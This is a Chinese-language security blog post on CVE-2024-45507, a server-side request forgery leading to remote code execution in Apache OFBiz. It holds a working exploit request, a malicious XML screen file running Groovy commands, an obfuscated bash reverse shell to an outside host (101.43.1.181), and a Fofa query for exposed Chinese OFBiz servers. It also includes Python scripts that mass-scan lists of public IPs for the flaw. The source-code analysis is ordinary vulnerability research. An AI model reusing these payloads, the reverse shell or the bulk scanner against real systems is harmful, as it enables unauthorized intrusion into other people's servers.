问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-45507漏洞利用实战:代码分析与自动化检测工具
漏洞分析
该项目是一个开源的电子商务平台,提供创建基于最新的J2EE/XML规范和技术标准。各模块之间的功能比较松散,用户可以根据自己的需求进行拆卸整合,非常灵活。该漏洞属于Apache OFBiz中的服务器端请求伪造SSRF漏洞,目前升级到18.12.16版本即可修复该问题。
Apache OFBiz介绍 ============== 该项目是一个开源的电子商务平台,提供创建基于最新的J2EE/XML规范和技术标准。各模块之间的功能比较松散,用户可以根据自己的需求进行拆卸整合,非常灵活。 漏洞描述 ==== 该漏洞属于Apache OFBiz中的服务器端请求伪造SSRF漏洞,目前升级到18.12.16版本即可修复该问题。 漏洞影响范围 ====== version < 18.12.16 源码下载 ==== <https://github.com/apache/ofbiz-framework/archive/refs/tags/release18.12.12.tar.gz> 环境搭建 ==== 这里我是用Debian进行搭建,我们直接运行目录下的gradlew文件,如果是Windows系统就需要运行gradlew.bat 安装: ./gradle/init-gradle-wrapper.sh ./gradlew cleanAll loadAll ./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin 如果访问不了可以尝试添加可以访问的白名单 vim framework/security/config/security.properties 找到host-headers-allowed添加访问时的IP头 运行之前记得先加上执行权限  最后运行命令: ./gradlew ofbiz  之后出现这样的提示,我们就需要等大概几分钟,让他加载,直到提示  这样就可以了。 访问靶机的IP地址 财务登录:<https://192.168.195.130:8443/accounting> 管理员地址:<https://localhost:8443/webtools> 订单登录:<https://localhost:8443/ordermgr> 默认登录用户名密码:admin/ofbiz 漏洞利用 ==== 漏洞是通过ssrf方式进行入侵,也就是说我们需要通过对方服务器,对外发起请求,那么我们就需要在一台服务器上,架设一个XML文件,用以对方远程加载,同时XML文件中包含命令执行语句,以此来加载RCE操作。 复现测试 ---- 这里我配置之后,通过发送数据包 ```php POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: 192.168.195.130:8443 Content-Length: 55 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: zh-CN Upgrade-Insecure-Requests: 1 Origin: https://192.168.195.130:8443 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://192.168.195.130:8443/webtools/control/login Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive statsDecoratorLocation=http://101.43.1.181:8000 ```   这里编写一个测试的rce.xml,测试看看是否可以远程执行我的xml中的命令 ```php <?xml version="1.0" encoding="UTF-8"?> <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"> <screen name="StatsDecorator"> <section> <actions> <set value="${groovy:'curl 101.43.1.181:8888'.execute();}"/> </actions> </section> </screen> </screens> ``` 我这里首先在我服务器中开启python的远程下载服务,配置8000端口,提供xml进行远程执行,执行命令为访问我服务器的8888端口,同时我开始python远程8888端口来监测命令是否执行。  可以成功的访问并且执行。 Payload编写 --------- payload编写这里,我使用python进行模拟发包 ```php #!/usr/bin/env python3 import requests import re import urllib3 import concurrent.futures # 忽略不安全的 HTTPS 请求警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 读取 IP 地址 with open('ip.txt', 'r') as file: ips = file.read().splitlines() url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart" headers = { "Content-Length": "55", "Cache-Control": "max-age=0", "Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"', "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": '"Windows"', "Accept-Language": "zh-CN", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive" } data = { "statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml" } # 正则表达式用于完全匹配特定字符串 pattern = re.compile(r"<!-- Begin Screen http://101\.43\.1\.181:8000/rce\.xml#StatsDecorator -->") matched_ips = [] # 发送请求的函数 def send_request(ip): url = url_template.format(ip=ip) headers["Origin"] = f"https://{ip}:8443" headers["Referer"] = f"https://{ip}:8443/webtools/control/login" try: response = requests.post(url, headers=headers, data=data, verify=False) # verify=False 禁用 SSL 验证 # 检查回显包是否包含指定的完全匹配内容 if pattern.search(response.text): print(f"Matched response from {ip}") return ip else: print(f"No match for {ip}") return None except requests.exceptions.RequestException as e: print(f"Error connecting to {ip}: {e}") return None # 使用多线程执行请求,max_workers设置线程数量 with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(send_request, ip) for ip in ips] for future in concurrent.futures.as_completed(futures): result = future.result() if result: matched_ips.append(result) # 将匹配的 IP 地址输出到 out.txt if matched_ips: with open('out.txt', 'w') as outfile: outfile.write("\n".join(matched_ips)) print("Matching IPs have been written to out.txt") else: print("No IP returned a matching response.") ``` EXP编写 ----- 首先我们需要反弹shell的命令 bash -i >& /dev/tcp/101.43.1.181/9999 0>&1 然后将这个shell进行base64加密 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx 再将这个base64加密后的放置在下面的代码中 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMS4xODEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} 最后将上面的代码进行Unicode加密 \\u0062\\u0061\\u0073\\u0068\\u0020\\u002D\\u0063\\u0020\\u007B\\u0065\\u0063\\u0068\\u006F\\u002C\\u0059\\u006D\\u0046\\u007A\\u0061\\u0043\\u0041\\u0074\\u0061\\u0053\\u0041\\u002B\\u004A\\u0069\\u0041\\u0076\\u005A\\u0047\\u0056\\u0032\\u004C\\u0033\\u0052\\u006A\\u0063\\u0043\\u0038\\u0078\\u004D\\u0044\\u0045\\u0075\\u004E\\u0044\\u004D\\u0075\\u004D\\u0053\\u0034\\u0078\\u004F\\u0044\\u0045\\u0076\\u004F\\u0054\\u006B\\u0035\\u004F\\u0053\\u0041\\u0077\\u0050\\u0069\\u0059\\u0078\\u007D\\u007C\\u007B\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002C\\u002D\\u0064\\u007D\\u007C\\u007B\\u0062\\u0061\\u0073\\u0068\\u002C\\u002D\\u0069\\u007D 该漏洞目前已知情况是需要出网的,我们在攻击之前需要在攻击的主机上架设xml来远程加载执行。 ```php <?xml version="1.0" encoding="UTF-8"?> <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"> <screen name="StatsDecorator"> <section> <actions> <set value="${groovy:'\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u0059\u006D\u0046\u007A\u0061\u0043\u0041\u0074\u0061\u0053\u0041\u002B\u004A\u0069\u0041\u0076\u005A\u0047\u0056\u0032\u004C\u0033\u0052\u006A\u0063\u0043\u0038\u0078\u004D\u0044\u0045\u0075\u004E\u0044\u004D\u0075\u004D\u0053\u0034\u0078\u004F\u0044\u0045\u0076\u004F\u0054\u006B\u0035\u004F\u0053\u0041\u0077\u0050\u0069\u0059\u0078\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D'.execute();}"/> </actions> </section> </screen> </screens> ```  源码分析 ==== 大致漏洞情况分析 -------- 参考网上的漏洞分析,该漏洞主要是两个方面引发的问题,首先是可以引入外部远程文件来渲染screen 根据xml的配置文件,我们编写payload格式就基于下面的配置文件格式  groovy是用于设置加载字段的值,但是我们也可以在后面构造命令可以使其命令执行。这样就可以编写我们的payload。 分析一下漏洞产生的第二个原因 从网上资料来看,该漏洞另一个原因在于eventReturn,只要这个里判断为true,即可调用findTemporalExpression  那么我们理解一下这里,反推一下,我们想要findTemporalExpression能被调用,就要查看哪些路由可以直接调用,也就是返回true。 经过测试,两个目录下可以返回true /webtools/control/main/findTemporalExpression /webtools/control/forgotPassword/findTemporalExpression 也就是说,在这两个路由下,均可以在未授权的情况下处理findTemporalExpression(也就是xml配置文件中的screen名)。 而findTemporalExpression中的参数又可以调用外部的xml执行  那么再往上看,其实我们就只需要进行一点, 那就是看看哪些路由可以在未授权的情况下去调用findTemporalExpression。 分析renderView方法 -------------- 该方法的上层逻辑,首先是上面登录路由判断的方法中,会判断你登陆的一个状态,返回的三种不同的值:success、requirePasswordChange、error,然后eventReturn会根据上面三种不同值进行判断,来确定renderView函数传递什么内容。 那么renderView又实现哪些功能呢。首先是renderView值在controller.xml获取xml配置,然后从xml配置文件中会指向TempExprScreens.xml这个配置文件,那么TempExprScreens.xml这个配置文件,其中涉及到findTemporalExpression的值中就包含了tempExprDecoratorLocation这个参数,类似于payload中statsDecoratorLocation参数,都可以从外部引入xml。 为什么使用statsDecoratorLocation作为payload ------------------------------------ 这里我们定位到参数的位置,可以看到参数属于webtools/widget 该参数再文件中主要用于动态指定装饰器模板,也就是说,再我们引用他,该参数可以执行一个外部的装饰器模板文件,该文件可以决定界面的元素,比如页面结构,样式或者布局。 那么我们通过模仿他内部装饰器的编写方式,可以写出payload。 ${parameters.statsDecoratorLocation} 在正常情况下可以让页面在同一个页面中复用不同的装饰器模板。 分析流程总结 ------ 首先SSRF漏洞的原因,就是因为客户端对用户输入的参数未进行严格校验,也就是说我们的statsDecoratorLocation参数,从外部引入模板,在findTemporalExpression,forgotPassword两个路由下,可以通过校验,eventReturn返回true即可通过校验,可以在这两个路由下,构造statsDecoratorLocation参数(或者其他可利用参数),远程调用xml文件。主要代码流程如下: 1、首先了解了login路由登陆后的三种不同登录状态判断方法 2、eventReturn参数会根据登录状态不同传递给renderView函数具体的内容 3、如果eventReturn判断为true,那么就可以通过renderView进行调用xml配置文件 4、成功调用配置文件后,会调用到配置文件中的findTemporalExpression,这其中的参数 ${parameters.statsDecoratorLocation} 可以调用外部的xml来渲染。 5、最后测试出哪些路由可以在未授权的情况下,eventReturn会判断正确,那么这些路由就可以进行远程xml的调用。 公网实战漏洞寻找 ======== Fofa语句 ------ "Apache OFBiz" && port="8443" && country="CN" 漏洞批量利用 ------ 这里我下载一些下来,保存为txt文件 使用上面写的payload可以进行批量获取。 使用方式,首先需要在一台公网服务器上开启一个类似dnslog用于接收回显的服务端,我这里使用的是服务器中python的http server 所以我构造的逻辑是 1、首先我们需要忽略掉不安全的https警告,不然无法访问 2、从txt中读取IP地址,替换掉payload数据包中的IP 3、正则匹配回显值 4、遍历所有IP并且发送请求,检查回显是否存在正则匹配的内容,返回是否匹配 5、最后将匹配的结果输出到out.txt中 ```php #!/usr/bin/env python3 # -*- coding: cp936 -*- import requests import re import urllib3 # 忽略不安全的 HTTPS 请求警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 读取 IP 地址 with open('ip.txt', 'r') as file: ips = file.read().splitlines() url_template = "https://{ip}:8443/webtools/control/forgotPassword/StatsSinceStart" headers = { "Content-Length": "55", "Cache-Control": "max-age=0", "Sec-Ch-Ua": '"Chromium";v="127", "Not)A;Brand";v="99"', "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": '"Windows"', "Accept-Language": "zh-CN", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive" } data = { "statsDecoratorLocation": "http://101.43.1.181:8000/rce.xml" } # 正则表达式用于完全匹配特定字符串 pattern = re.compile(r"<!-- Begin Screen http://101\.43\.1\.181:8000/rce\.xml#StatsDecorator -->") matched_ips = [] # 遍历所有 IP 并发送请求 for ip in ips: url = url_template.format(ip=ip) headers["Origin"] = f"https://{ip}:8443" headers["Referer"] = f"https://{ip}:8443/webtools/control/login" try: response = requests.post(url, headers=headers, data=data, verify=False) # verify=False 禁用 SSL 验证 # 检查回显包是否包含指定的完全匹配内容 if pattern.search(response.text): print(f"匹配参数IP:{ip}") matched_ips.append(ip) else: print(f"不匹配IP:{ip}") except requests.exceptions.RequestException as e: print(f"错误IP,连接不通{ip}: {e}") # 将匹配的 IP 地址输出到 out.txt if matched_ips: with open('out.txt', 'w') as outfile: outfile.write("\n".join(matched_ips)) print("漏洞IP已保存至out.txt") else: print("没有含有漏洞的IP地址") ``` 
发表于 2025-02-10 10:00:01
阅读 ( 4765 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
白安全组
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!